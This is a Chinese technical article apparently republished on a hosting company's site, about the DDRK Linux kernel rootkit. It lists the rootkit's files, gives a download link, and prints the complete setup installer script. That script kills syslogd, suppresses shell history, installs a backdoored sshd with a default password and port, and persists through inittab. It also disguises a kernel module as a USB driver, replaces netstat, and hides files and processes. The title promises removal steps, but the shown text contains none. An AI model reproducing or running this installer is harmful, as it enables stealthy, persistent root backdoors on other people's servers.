快速业务通道

Linux下rootkit-ddrk攻击获得root权限以及清除方法

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-04-05

DDRK是一个Linux结合shvadore-ng优点,内核级别的rootkit.

DDRK中包含的文件: 拥有帝国一切,皆有可能。欢迎访问phome.net

netstat #替换系统中的netstat,从ssh配置文件中读取端口并隐藏

rk.ko #内核模块,实现文件和进程的隐藏功能

setup #rootkit安装文件 拥有帝国一切,皆有可能。欢迎访问phome.net

tty #ava工具

bin.tgz

---ttymon

---sshd.tgz

---.sh

---shdcf2 #sshd配置文件

---shhk

---shhk.pub

拥有帝国一切,皆有可能。欢迎访问phome.net ---shrs

---sshd #sshd主程序

DDRK下载地址:http://www.sectop.com/soft/ddrk.tgz

因此只要把这些文件上传到服务器上并成功运行,就可以获得该服务器root权限.为所欲为,无所不能.

拥有帝国一切,皆有可能。欢迎访问phome.netsetup内容如下:

#!/bin/bash

##########define variables##########

DEFPASS=123456 //默认密码

DEFPORT=43958 //默认端口

BASEDIR=`pwd`

SSHDIR=/lib/libsh.so

HOMEDIR=/usr/lib/libsh

unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE

export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

##########check is root##########

if [ "$(whoami)" != "root" ]; then

echo "BECOME ROOT AND TRY AGAIN"

echo ""

exit

fi

##########extract all tar##########

tar zxf bin.tgz

cd bin

tar zxf sshd.tgz

rm -rf ./sshd.tgz

cd $BASEDIR

rm -rf bin.tgz

cd $BASEDIR

##########kill syslogd##########

killall -9 syslogd >/dev/null 2>&1

sleep 2

##########remove sh.conf##########

if [ -f /etc/sh.conf ]; then

rm -rf /etc/sh.conf //经过md5sum加密过的密码文件

fi

##########initialize sshd configuration##########

if test -n "$1" ; then

echo "Using Password : $1"

cd $BASEDIR/bin

echo -n $1|md5sum > /etc/sh.conf

else

echo "No Password Specified, using default - $DEFPASS"

echo -n $DEFPASS|md5sum > /etc/sh.conf

fi

touch -acmr /bin/ls /etc/sh.conf

chown -f root:root /etc/sh.conf

if test -n "$2" ; then

echo "Using ssh-port : $2"

echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config

cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2

mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf

else

echo "No ssh-port Specified, using default - $DEFPORT"

echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config

cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2

mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf

fi

###########creating dirs##########

SSHDIR=/lib/libsh.so

HOMEDIR=/usr/lib/libsh

if [ -d /lib/libsh.so ]; then

rm -rf /lib/libsh.so

fi

if [ -d /usr/lib/libsh ]; then

rm -rf /usr/lib/libsh/*

fi

mkdir $SSHDIR

touch -acmr /bin/ls $SSHDIR

mkdir $HOMEDIR

touch -acmr /bin/ls $HOMEDIR

cd $BASEDIR/bin

mv .sh/* $SSHDIR/

mv .sh/.bashrc $HOMEDIR

if [ -f /sbin/ttyload ]; then

chattr -AacdisSu /sbin/ttyload

rm -rf /sbin/ttyload

fi

if [ -f /usr/sbin/ttyload ]; then

rm -rf /usr/sbin/ttyload

fi

if [ -f /sbin/ttymon ]; then

rm -rf /sbin/ttymon

fi

mv $SSHDIR/sshd /sbin/ttyload

chmod a xr /sbin/ttyload

chmod o-w /sbin/ttyload

touch -acmr /bin/ls /sbin/ttyload

kill -9 `pidof ttyload` >/dev/null 2>&1

mv $BASEDIR/bin/ttymon /sbin/ttymon

chmod a xr /sbin/ttymon

touch -acmr /bin/ls /sbin/ttymon

kill -9 `pidof ttymon` >/dev/null 2>&1

cp /bin/bash $SSHDIR

##########modify inittab##########

cp /etc/inittab /etc/.inittab

sed -e ''s@^1:2345@0:2345:once:/usr/sbin/ttyloadn&@'' /etc/inittab > /etc/.inittab

touch -acmr /etc/inittab /etc/.inittab

mv -f /etc/.inittab /etc/inittab

echo "/sbin/ttyload -q > /dev/null 2>&1" > /usr/sbin/ttyload

echo "/sbin/ttymon > /dev/null 2>&1" >> /usr/sbin/ttyload

echo "${HOMEDIR}/tty i `pidof ttyload` > /dev/null 2>&1" >> /usr/sbin/ttyload

echo "${HOMEDIR}/tty i `pidof ttymon` > /dev/null 2>&1" >> /usr/sbin/ttyload

touch -acmr /bin/ls /usr/sbin/ttyload

chmod 755 /usr/sbin/ttyload

/usr/sbin/ttyload > /dev/null 2>&1

touch -amcr /bin/ls /etc/inittab

###########make sure inittab has modified##########

if [ ! "`grep ttyload /etc/inittab`" ]; then

echo "# WARNING - SSHD WONT BE RELOADED UPON RESTART "

echo "# inittab shuffling probly fucked-up ! "

fi

##########load rk.ko##########

cd $BASEDIR

modprobe -r ehci-hcd

mv -f rk.ko /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko

modprobe ehci-hcd

mv tty $HOMEDIR

##########replace netstat##########

touch -acmr /bin/netstat netstat

mv -f netstat /bin/netstat

##########hide all files and process##########

$HOMEDIR/tty h /etc/sh.conf > /dev/null 2>&1

$HOMEDIR/tty h /lib/libsh.so > /dev/null 2>&1

$HOMEDIR/tty h /usr/lib/libsh > /dev/null 2>&1

$HOMEDIR/tty h /sbin/ttyload > /dev/null 2>&1

$HOMEDIR/tty h /usr/sbin/ttyload > /dev/null 2>&1

$HOMEDIR/tty h /sbin/ttymon > /dev/null 2>&1

$HOMEDIR/tty i `pidof ttyload` > /dev/null 2>&1

$HOMEDIR/tty i `pidof ttymon` > /dev/null 2>&1

##########load rk.ko on boot##########

cat > /etc/sysconfig/modules/ehci.modules << EOF

#!/bin/sh

#install usb modules support

modprobe -r ehci-hcd

modprobe ehci-hcd

EOF

touch -amcr /bin/ls /etc/sysconfig/modules/ehci.modules

chmod 755 /etc/sysconfig/modules/ehci.modules

$HOMEDIR/tty h /etc/sysconfig/modules/ehci.modules > /dev/null 2>&1

##########check iptables setting##########

if [ -f /sbin/iptables ]; then

echo "`/sbin/iptables -L INPUT | head -5`"

else

echo ""

echo "# lucky for u no iptables found"

fi

##########start syslogd##########

/sbin/syslogd -m 0

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号